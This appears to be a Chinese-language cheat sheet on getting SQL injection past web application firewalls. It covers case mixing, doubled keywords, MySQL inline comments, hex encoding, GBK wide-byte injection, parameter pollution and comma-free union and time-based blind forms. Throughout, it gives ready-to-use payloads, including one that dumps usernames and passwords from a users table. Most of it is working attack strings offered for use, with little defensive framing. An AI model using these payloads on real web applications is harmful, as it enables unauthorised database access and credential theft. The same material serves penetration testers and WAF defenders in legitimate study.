SQL注入绕过WAF
参考文献
基础绕过
1. 大小写绕过
用于过滤时没有匹配大小写的情况:
SeLECt * from table;
2. 双写绕过
用于将禁止的字符直接删除的情况:
比如,使用preg_replace()
或者是str_replace()
将and
、or
、select
、union
等关键词替换为空字符串。
这时,可以使用双写嵌套绕过,or
写成oorr
,and
写成aandnd
、select
写成seselectlect
、union
写成uniunionon
。在删除一个关键字后,剩下的部分又可以重新组合成完整的关键字。
3. 内联注释
内联注释的作用是增加SQL语句的可移植性。比如,将MySQL特有的语法使用内联注释的形式来编写,在这种情况下,MySQL可以正常的解析并执行内联注释中的代码,但是其它的SQL服务器则忽略内联注释中的内容。
/*! MySQL特有的语法 */
例如MySQL服务器可以在以下语句中识别STRAIGHT_JOIN
关键字,而其他服务器则不能:
SELECT /*! STRAIGHT_JOIN*/ col1 FROM table1,table2 WHERE ...
如果在!后面添加版本号,则仅当MySQL版本大于或者等于指定的版本号时,才会执行注释中的语法。例如,以下注释中的关键字KEY_BLOCK_SIZE
仅由MySQL 5.1.10或者更高版本的服务器执行:
CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024*/
/*! */
类型的注释,内部语句会被执行
select bbb from table1 where aaa='' union /*! select database()*/;
可以用来绕过一些WAF,或者是绕过空格
但是,不能将关键词用注释分开,例如下面的语句是不可执行的(或者说只能在某些较老版本执行)
select bbb from table1 where balabala='' union se/*!lect database()*/;
4. 使用16进制绕过特定字符
如果在查询字段名的时候表名被过滤,或者是数据库中某些特定字符被过滤,则可以使用16进制绕过。
select column_name from information_schema.columns where table_name=0x7573657273;
0x7573657273
为users的16进制编码
5. 宽字节、Latin1默认编码
宽字节注入
以下是常用的URL编码
ASCII值 | URL编码 |
---|---|
\ | %5C |
' | %27 |
" | %22 |
# | %23 |
& | %26 |
宽字节注入的利用条件
查询参数是被单引号包围的,传入的单引号又被转义符
\
转义,如在后台数据库中对接收的参数使用addslashes()
、mysql_real_escape_string()
或者是其他转义函数数据库的编码为GBK
概括的说,就是单引号被转义,但编码为GBK。
利用方式
GET形式
id=-1%DF' union select 1,user(),3%23
在上述条件下,单引号'
被转义为\'
,即%5c%27
。如果我们在单引号前加上%df
,就会构成%df%5c%27
,而在GBK编码方式下,%df%5c
是汉字"連",所以单引号成功逃逸。
如果是在请求体中,需要使用POST参数。使用Burp Suite抓取请求,然后在单引号(%27
)之前添加%df
。
uname=%df%27 and 1=2 UNION SELECT 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users) #&passwd=2
宽字节注入原理
MySQL在使用GBK编码时,会认为两个字符为一个汉字,例如%aa%5c
就是一个汉字猏
。因为转义方法主要就是在敏感字符前面添加反斜杠\
,所以这里想办法去掉反斜杠即可。
%df
吃掉\
其实这里第一个字符并不局限为%df
,只要是在%aa
到%fe
范围内都可以。具体原因是,urlencode(\')=%5c%27
,我们在%5c%27
前面添加%df
,形成%df%5c%27
,MySQL在GBK编码方式的时候,会将两个字节当做一个汉字,这个时候就把%df%5c
当做是一个汉字運
,%27
则作为一个单独的符号'
在外面,同时也就达到了我们的目的。
将\'
中的\
过滤掉
例如可以构造%5c%5c%27
的情况,后面的%5C
会被前面的%5C
给注释掉。这也是bypass的一种方法。
addslashes()
函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符 | 转义后 |
---|---|
\ | \\ |
' | \' |
" | \" |
该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
在使用addslashes()
时,我们需要将mysql_query
设置为binary
的方式,才能够防御此漏洞。
Latin1编码
Mysql表的编码默认为latin1,如果设置字符集为utf8,则存在一些latin1中有而utf8中没有的字符,而Mysql是如何处理这些字符的呢?直接忽略
于是我们可以输入?username=admin%c2,存储至表中就变为了admin
上面的%c2可以换为%c2-%ef之间的任意字符
6. 常用字符的替代
and -> &&
or -> ||
空格 -> /**/ -> %a0 -> %0a -> +
# -> -- + -> ;%00(php<=5.3.4) -> or '1'='1
= -> like -> regexp -> <> -> in
注意:regexp为正则匹配,利用正则会有些新的注入手段
注意,因为&
是URL中不同参数之间的分隔符,所以,在前端中需要将&
进行URL编码,编码为%26
。
过滤空格
使用preg_replace()
或者str_replace()
函数,将空白字符替换为空字符串。
过滤了空格,使用编码绕过。可以使用如下符号来替代:
符号 | 说明 |
---|---|
%09 | TAB键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return功能 |
%0b | TAB键(垂直) |
%a0 | 空格 |
过滤注释
使用preg_replace()
或者str_replace()
函数,将多行注释/**/
,单行注释--
、#
替换为空字符串。
绕过方式:使用闭合绕过。
7. HTTP参数污染
HTTP参数污染
由于没有相关的HTTP RFC定义HTTP参数操作的语义,因此每个Web应用程序可能会以不用的方式来处理多个相同名称的参数。
在单个HTTP请求中,攻击者使用多个具有相同名称的参数,将注入语句中的关键字拆分在每个参数的值中。
比如,index.php?par1=val1&par1=val2
下表是不同的Web服务器如何管理多次出现的同一参数。
HTTP后端 | 总体解析结果 | 例子 |
---|---|---|
ASP.NET/IIS | 特定参数所有内容进行拼接 | par1=val1,val2 |
ASP/IIS | 特定参数所有内容进行拼接 | par1=val1,val2 |
PHP/Apache | 最后一次出现的参数内容 | par1=val2 |
PHP/Zeus | 最后一次出现的参数内容 | par1=val2 |
JSP,Servlet/Apache Tomcat | 第一次出现的参数内容 | par1=val1 |
当Web应用程序将多个参数的值拼接起来,就可以得到完整的注入语句。同时,如果WAF只单独检查每个参数的值,或者是将整个请求数据作为单个字符串处理,这样的安全机制将无法检测到HPP攻击。比如,ASP/IIS
将重复出现的参数的值拼接起来。
下面是两个SQL注入的场景:"常规攻击"和"使用HPP攻击"。
“常规攻击”演示了prodID参数中的标准联合注入语句。这种攻击方式会被Web应用程序防火墙(WAF)轻松识别。第二次攻击在prodID参数上使用HPP。在这种情况下,prodID参数多次出现,而注入语句被拆分在每个prodID的值中。为了使WAF能够识别完整的注入语句,还需要将所有的输入拼接起来检查。
常规攻击:http://webApplication/showproducts.asp?prodID=9 UNION SELECT 1,2,3 FROM Users WHERE id=3 —
使用HPP攻击:http://webApplication/showproducts.asp?prodID=9 /*&prodID=*/UNION /*&prodID=*/SELECT 1 &prodID=2 &prodID=3 FROM /*&prodID=*/Users /*&prodID=*/ WHERE id=3 —
8. 逗号被过滤
用join代替
-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23
limit
limit 2,1
limit 1 offset 2
substr
select substr(database(),5,1)
select substr(database() from 5 for 1)
from为从第几个字符开始,for为截取的长度
select substr(database() from 5)
from 5表示从第5个字符开始截取
如果for也被过滤了
select mid(reverse(mid(database() from (-5)))from(-1))
if
select if(database()='xxx',sleep(3),1)
SELECT 1 and DATABASE()='security' and sleep(3)
select case when database()='xxx' then sleep(5) else 0 end
9. limit被过滤
select user from users limit 1
加限制条件
select user from users group by user_id having user_id=1
(user_id是表中的一个列)
11. and、or、&&、||被过滤
可用运算符! ^ ~
以及not xor
来代替
12. 各个字符以及函数的代替
常用函数的替代
字符串截取/拼接函数:
摘自https://xz.aliyun.com/t/7169
函数 | 说明 |
---|---|
SUBSTR(str,N_start,N_length) | 对指定字符串进行截取,为SUBSTRING的简单版。 |
SUBSTRING() | 多种格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len) 。 |
RIGHT(str,len) | 对指定字符串从最右边截取指定长度。 |
LEFT(str,len) | 对指定字符串从最左边截取指定长度。 |
RPAD(str,len,padstr) | 在str 右方补齐len 位的字符串padstr ,返回新字符串。如果str 长度大于len ,则返回值的长度将缩减到len 所指定的长度。 |
LPAD(str,len,padstr) | 与RPAD相似,在str 左边补齐。 |
MID(str,pos,len) | 同于SUBSTRING(str,pos,len) 。 |
INSERT(str,pos,len,newstr) | 在原始字符串str 中,将自左数第pos 位开始,长度为len 个字符的字符串替换为新字符串newstr ,然后返回经过替换后的字符串。INSERT(str,len,1,0x0) 可当做截取函数。 |
CONCAT(str1,str2…) | 函数用于将多个字符串合并为一个字符串 |
GROUP_CONCAT(…) | 返回一个字符串结果,该结果由分组中的值连接组合而成。 |
MAKE_SET(bits,str1,str2,…) | 根据参数1,返回所输入其他的参数值。可用作布尔盲注,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710')) 。 |
数字的代替:
使用true
、false
、pi()
、!
、floor
、~
、ceil()
、version()
等数学运算函数的组合进行代替
函数/语句
说明
LENGTH(str) | 返回字符串的长度。 |
PI() | 返回π的具体数值。 |
REGEXP “statement” | 正则匹配数据,返回值为布尔值。 |
LIKE “statement” | 匹配数据,%代表任意内容。返回值为布尔值。 |
RLIKE “statement” | 与regexp相同。 |
LOCATE(substr,str,[pos]) | 返回子字符串第一次出现的位置。 |
POSITION(substr IN str) | 等同于LOCATE() 。 |
LOWER(str) | 将字符串的大写字母全部转成小写。同:LCASE(str) 。 |
UPPER(str) | 将字符串的小写字母全部转成大写。同:UCASE(str) 。 |
ELT(N,str1,str2,str3,…) | 与MAKE_SET(bit,str1,str2...) 类似,根据N 返回参数值。 |
NULLIF(expr1,expr2) | 若expr1与expr2相同,则返回expr1,否则返回NULL。 |
CHARSET(str) | 返回字符串使用的字符集。 |
DECODE(crypt_str,pass_str) | 使用 pass_str 作为密码,解密加密字符串 crypt_str。加密函数:ENCODE(str,pass_str) 。 |